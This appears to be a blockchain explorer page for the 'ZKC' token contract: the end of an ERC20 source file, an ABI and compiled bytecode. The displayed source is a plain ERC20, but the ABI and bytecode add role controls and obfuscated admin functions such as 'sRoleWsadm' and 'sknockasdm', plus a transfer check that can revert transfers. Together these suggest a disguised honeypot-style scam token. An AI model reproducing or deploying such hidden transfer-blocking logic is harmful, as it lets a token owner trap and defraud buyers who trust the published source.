        emit Transfer(from, to, value);
    }

    /**
     * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
     * Relies on the `_update` mechanism
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(address(0), account, value);
    }

    /**
     * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
     * Relies on the `_update` mechanism.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead
     */
    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }

    /**
     * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     *
     * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
     */
    function _approve(
        address owner,
        address spender,
        uint256 value
    ) internal {
        _approve(owner, spender, value, true);
    }

    /**
     * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
     *
     * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
     * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
     * `Approval` event during `transferFrom` operations.
     *
     * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
     * true using the following override:
     * ```
     * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
     *     super._approve(owner, spender, value, true);
     * }
     * ```
     *
     * Requirements are the same as {_approve}.
     */
    function _approve(
        address owner,
        address spender,
        uint256 value,
        bool emitEvent
    ) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `value`.
     *
     * Does not update the allowance value in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Does not emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 value
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(
                    spender,
                    currentAllowance,
                    value
                );
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }
}

// File contracts/baseOpenZeppelin.sol

// Original license: SPDX_License_Identifier: MIT
pragma solidity ^0.8.20;

contract ZKC is ERC20 {
    constructor(
        string memory name,
        string memory symbol,
        uint256 totalSupply,
        address hold
    ) ERC20(name, symbol) {
        _mint(hold, totalSupply * 10**decimals());
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"uint256","name":"totalSupply","type":"uint256"},{"internalType":"address","name":"hold","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"AccessControlBadConfirmation","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bytes32","name":"neededRole","type":"bytes32"}],"name":"AccessControlUnauthorizedAccount","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ADMIN_R","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"DEFAULT_ADMIN_R","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TRADER_R","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"key","type":"string"}],"name":"getRoleBkasfm","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"key","type":"string"}],"name":"getRoleNmfsaiqw","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"key","type":"string"}],"name":"getRoleWokka","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTslasdmf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"key","type":"string"}],"name":"rRoleBlfsak","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"a","type":"string"}],"name":"rRoleWmiasd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"callerConfirmation","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"key","type":"string"}],"name":"sRoleBoksfa","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"key","type":"string"},{"internalType":"uint256","name":"n","type":"uint256"}],"name":"sRoleNmsafk","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"a","type":"string"}],"name":"sRoleWsadm","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"swap","type":"string"}],"name":"setSwapskmasw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"int256","name":"t","type":"int256"}],"name":"sknockasdm","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"updatetTSLasfm","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040525f600755348015610013575f5ffd5b50604051614786380380614786833981810160405281019061003591906106d6565b838381600490816100469190610979565b5080600590816100569190610979565b506100765f5f1b61006b6100f460201b60201c565b6100fb60201b60201c565b506100b47f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e6100a96100f460201b60201c565b6100fb60201b60201c565b5050506100eb816100c96101f060201b60201c565b600a6100d59190610bb0565b846100e09190610bfa565b6101f860201b60201c565b50505050610cf3565b5f33905090565b5f61010c838361027d60201b60201c565b6101e65760015f5f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506101836100f460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a4600190506101ea565b5f90505b92915050565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610268575f6040517fec442f0500000000000000000000000000000000000000000000000000000000815260040161025f9190610c4a565b60405180910390fd5b6102795f83836102e060201b60201c565b5050565b5f5f5f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610330578060035f8282546103249190610c63565b92505081905550610400565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156103ba578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016103b193929190610ca5565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610447578060035f8282540392505081905550610492565b8060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516104ef9190610cda565b60405180910390a3505050565b5f604051905090565b5f5ffd5b5f5ffd5b5f5ffd5b5f5ffd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61055b82610515565b810181811067ffffffffffffffff8211171561057a57610579610525565b5b80604052505050565b5f61058c6104fc565b90506105988282610552565b919050565b5f67ffffffffffffffff8211156105b7576105b6610525565b5b6105c082610515565b9050602081019050919050565b8281835e5f83830152505050565b5f6105ed6105e88461059d565b610583565b90508281526020810184848401111561060957610608610511565b5b6106148482856105cd565b509392505050565b5f82601f8301126106305761062f61050d565b5b81516106408482602086016105db565b91505092915050565b5f819050919050565b61065b81610649565b8114610665575f5ffd5b50565b5f8151905061067681610652565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6106a58261067c565b9050919050565b6106b58161069b565b81146106bf575f5ffd5b50565b5f815190506106d0816106ac565b92915050565b5f5f5f5f608085870312156106ee576106ed610505565b5b5f85015167ffffffffffffffff81111561070b5761070a610509565b5b6107178782880161061c565b945050602085015167ffffffffffffffff81111561073857610737610509565b5b6107448782880161061c565b935050604061075587828801610668565b9250506060610766878288016106c2565b91505092959194509250565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806107c057607f821691505b6020821081036107d3576107d261077c565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026108357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826107fa565b61083f86836107fa565b95508019841693508086168417925050509392505050565b5f819050919050565b5f61087a61087561087084610649565b610857565b610649565b9050919050565b5f819050919050565b61089383610860565b6108a761089f82610881565b848454610806565b825550505050565b5f5f905090565b6108be6108af565b6108c981848461088a565b505050565b5b818110156108ec576108e15f826108b6565b6001810190506108cf565b5050565b601f82111561093157610902816107d9565b61090b846107eb565b8101602085101561091a578190505b61092e610926856107eb565b8301826108ce565b50505b505050565b5f82821c905092915050565b5f6109515f1984600802610936565b1980831691505092915050565b5f6109698383610942565b9150826002028217905092915050565b61098282610772565b67ffffffffffffffff81111561099b5761099a610525565b5b6109a582546107a9565b6109b08282856108f0565b5f60209050601f8311600181146109e1575f84156109cf578287015190505b6109d9858261095e565b865550610a40565b601f1984166109ef866107d9565b5f5b82811015610a16578489015182556001820191506020850194506020810190506109f1565b86831015610a335784890151610a2f601f891682610942565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b6001851115610aca57808604811115610aa657610aa5610a48565b5b6001851615610ab55780820291505b8081029050610ac385610a75565b9450610a8a565b94509492505050565b5f82610ae25760019050610b9d565b81610aef575f9050610b9d565b8160018114610b055760028114610b0f57610b3e565b6001915050610b9d565b60ff841115610b2157610b20610a48565b5b8360020a915084821115610b3857610b37610a48565b5b50610b9d565b5060208310610133831016604e8410600b8410161715610b735782820a905083811115610b6e57610b6d610a48565b5b610b9d565b610b808484846001610a81565b92509050818404811115610b9757610b96610a48565b5b81810290505b9392505050565b5f60ff82169050919050565b5f610bba82610649565b9150610bc583610ba4565b9250610bf27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610ad3565b905092915050565b5f610c0482610649565b9150610c0f83610649565b9250828202610c1d81610649565b91508282048414831517610c3457610c33610a48565b5b5092915050565b610c448161069b565b82525050565b5f602082019050610c5d5f830184610c3b565b92915050565b5f610c6d82610649565b9150610c7883610649565b9250828201905080821115610c9057610c8f610a48565b5b92915050565b610c9f81610649565b82525050565b5f606082019050610cb85f830186610c3b565b610cc56020830185610c96565b610cd26040830184610c96565b949350505050565b5f602082019050610ced5f830184610c96565b92915050565b613a8680610d005f395ff3fe608060405234801561000f575f5ffd5b50600436106101d8575f3560e01c806370a0823111610102578063a9059cbb116100a0578063cdd78e8f1161006f578063cdd78e8f14610578578063d547741f14610596578063dd62ed3e146105b2578063e2dc6029146105e2576101d8565b8063a9059cbb146104f2578063b54e5ccc14610522578063bb5f913314610540578063be4689cf1461055c576101d8565b80637edbe3fb116100dc5780637edbe3fb1461047e57806391d148541461049a57806395d89b41146104ca578063a21d3ac9146104e8576101d8565b806370a08231146104005780637ae641d9146104305780637be5c5bc14610460576101d8565b80632d96617f1161017a57806341aacfe11161014957806341aacfe11461037c578063524d39b614610398578063573ac5f3146103b45780636f353028146103e4576101d8565b80632d96617f146102f65780632f2ff15d14610326578063313ce5671461034257806336568abe14610360576101d8565b806318160ddd116101b657806318160ddd1461025a57806323b872dd1461027857806323e7e610146102a8578063248a9ca3146102c6576101d8565b806301ffc9a7146101dc57806306fdde031461020c578063095ea7b31461022a575b5f5ffd5b6101f660048036038101906101f19190612997565b6105fe565b60405161020391906129dc565b60405180910390f35b610214610677565b6040516102219190612a65565b60405180910390f35b610244600480360381019061023f9190612b12565b610707565b60405161025191906129dc565b60405180910390f35b610262610729565b60405161026f9190612b5f565b60405180910390f35b610292600480360381019061028d9190612b78565b610732565b60405161029f91906129dc565b60405180910390f35b6102b0610760565b6040516102bd9190612be0565b60405180910390f35b6102e060048036038101906102db9190612c23565b610784565b6040516102ed9190612be0565b60405180910390f35b610310600480360381019061030b9190612d7a565b6107a0565b60405161031d9190612a65565b60405180910390f35b610340600480360381019061033b9190612dc1565b6108a7565b005b61034a6108c9565b6040516103579190612e1a565b60405180910390f35b61037a60048036038101906103759190612dc1565b6108d1565b005b61039660048036038101906103919190612e66565b61094c565b005b6103b260048036038101906103ad9190612d7a565b610981565b005b6103ce60048036038101906103c99190612d7a565b610a14565b6040516103db91906129dc565b60405180910390f35b6103fe60048036038101906103f99190612d7a565b610aa1565b005b61041a60048036038101906104159190612e91565b610b37565b6040516104279190612b5f565b60405180910390f35b61044a60048036038101906104459190612d7a565b610b7d565b6040516104579190612b5f565b60405180910390f35b610468610c17565b6040516104759190612b5f565b60405180910390f35b61049860048036038101906104939190612ebc565b610c20565b005b6104b460048036038101906104af9190612dc1565b610db4565b6040516104c191906129dc565b60405180910390f35b6104d2610e17565b6040516104df9190612a65565b60405180910390f35b6104f0610ea7565b005b61050c60048036038101906105079190612b12565b610f68565b60405161051991906129dc565b60405180910390f35b61052a610f8a565b6040516105379190612be0565b60405180910390f35b61055a60048036038101906105559190612d7a565b610fad565b005b61057660048036038101906105719190612d7a565b611098565b005b610580611121565b60405161058d9190612be0565b60405180910390f35b6105b060048036038101906105ab9190612dc1565b611127565b005b6105cc60048036038101906105c79190612f16565b611149565b6040516105d99190612b5f565b60405180910390f35b6105fc60048036038101906105f79190612d7a565b6111cb565b005b5f7f7965db0b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610670575061066f8261125d565b5b9050919050565b60606004805461068690612f81565b80601f01602080910402602001604051908101604052809291908181526020018280546106b290612f81565b80156106fd5780601f106106d4576101008083540402835291602001916106fd565b820191905f5260205f20905b8154815290600101906020018083116106e057829003601f168201915b5050505050905090565b5f5f6107116112c6565b905061071e8185856112cd565b600191505092915050565b5f600354905090565b5f5f61073c6112c6565b90506107498582856112df565b610754858585611371565b60019150509392505050565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e81565b5f5f5f8381526020019081526020015f20600101549050919050565b60607f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e6107cc816115e7565b600b5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f208360405161080a9190612feb565b9081526020016040518091039020805461082390612f81565b80601f016020809104026020016040519081016040528092919081815260200182805461084f90612f81565b801561089a5780601f106108715761010080835404028352916020019161089a565b820191905f5260205f20905b81548152906001019060200180831161087d57829003601f168201915b5050505050915050919050565b6108b082610784565b6108b9816115e7565b6108c383836115fb565b50505050565b5f6012905090565b6108d96112c6565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461093d576040517f6697b23200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b61094782826116e4565b505050565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e610976816115e7565b816007819055505050565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e6109ab816115e7565b6001600c5f7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e81526020019081526020015f20836040516109ec9190612feb565b90815260200160405180910390205f6101000a81548160ff0219169083151502179055505050565b5f7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e610a3f816115e7565b600c5f7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e81526020019081526020015f2083604051610a7e9190612feb565b90815260200160405180910390205f9054906101000a900460ff16915050919050565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e610acb816115e7565b60405180602001604052805f815250600b5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f2083604051610b189190612feb565b90815260200160405180910390209081610b3291906131a1565b505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e610ba8816115e7565b600a5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f2083604051610be69190612feb565b90815260200160405180910390205f81548110610c0657610c05613270565b5b905f5260205f200154915050919050565b5f600954905090565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e610c4a816115e7565b5f610c536108c9565b600a610c5f91906133f9565b90505f600a5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f2085604051610ca09190612feb565b90815260200160405180910390208054905003610d3757600a5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f2084604051610cf59190612feb565b90815260200160405180910390208184610d0f9190613443565b908060018154018082558091505060019003905f5260205f20015f9091909190915055610dae565b8083610d439190613443565b600a5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f2085604051610d819190612feb565b90815260200160405180910390205f81548110610da157610da0613270565b5b905f5260205f2001819055505b50505050565b5f5f5f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b606060058054610e2690612f81565b80601f0160208091040260200160405190810160405280929190818152602001828054610e5290612f81565b8015610e9d5780601f10610e7457610100808354040283529160200191610e9d565b820191905f5260205f20905b815481529060010190602001808311610e8057829003601f168201915b5050505050905090565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e610ed1816115e7565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f3b573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f5f9190613498565b60098190555050565b5f5f610f726112c6565b9050610f7f818585611371565b600191505092915050565b7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e610fd7816115e7565b8160069081610fe691906131a1565b506001600c5f7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e81526020019081526020015f20836040516110289190612feb565b90815260200160405180910390205f6101000a81548160ff021916908315150217905550611055826117cd565b60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e6110c2816115e7565b6004600b5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f20836040516111029190612feb565b9081526020016040518091039020908161111c91906134ea565b505050565b5f5f1b81565b61113082610784565b611139816115e7565b61114383836116e4565b50505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e6111f5816115e7565b5f600c5f7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e81526020019081526020015f20836040516112359190612feb565b90815260200160405180910390205f6101000a81548160ff0219169083151502179055505050565b5f7f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b5f33905090565b6112da83838360016119c5565b505050565b5f6112ea8484611149565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461136b578181101561135c578281836040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401611353939291906135de565b60405180910390fd5b61136a84848484035f6119c5565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113e1575f6040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016113d89190613613565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611451575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016114489190613613565b60405180910390fd5b5f600367ffffffffffffffff81111561146d5761146c612c56565b5b6040519080825280602002602001820160405280156114a057816020015b606081526020019060019003908161148b5790505b5090506114ac84611b94565b815f815181106114bf576114be613270565b5b60200260200101819052506114d383611b94565b816001815181106114e7576114e6613270565b5b60200260200101819052506114fb82611e92565b8160028151811061150f5761150e613270565b5b602002602001018190525061152381611feb565b61152b575f5ffd5b61153684848461262f565b5f6006805461154490612f81565b905011156115e15760085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115b6573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115da9190613498565b6009819055505b50505050565b6115f8816115f36112c6565b61284b565b50565b5f6116068383610db4565b6116da5760015f5f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506116776112c6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a4600190506116de565b5f90505b92915050565b5f6116ef8383610db4565b156117c3575f5f5f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506117606112c6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a4600190506117c7565b5f90505b92915050565b5f5f829050602a815114611816576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180d90613676565b60405180910390fd5b5f5f90505f600290505b602a8110156119ba575f83828151811061183d5761183c613270565b5b602001015160f81c60f81b60f81c60ff16905060308173ffffffffffffffffffffffffffffffffffffffff161015801561188e575060398173ffffffffffffffffffffffffffffffffffffffff1611155b156118a7576030816118a09190613694565b9050611992565b60418173ffffffffffffffffffffffffffffffffffffffff16101580156118e5575060468173ffffffffffffffffffffffffffffffffffffffff1611155b156118fe576037816118f79190613694565b9050611991565b60618173ffffffffffffffffffffffffffffffffffffffff161015801561193c575060668173ffffffffffffffffffffffffffffffffffffffff1611155b156119555760578161194e9190613694565b9050611990565b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119879061374b565b60405180910390fd5b5b5b806010846119a09190613769565b6119aa91906137aa565b9250508080600101915050611820565b508092505050919050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611a35575f6040517fe602df05000000000000000000000000000000000000000000000000000000008152600401611a2c9190613613565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611aa5575f6040517f94280d62000000000000000000000000000000000000000000000000000000008152600401611a9c9190613613565b60405180910390fd5b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffff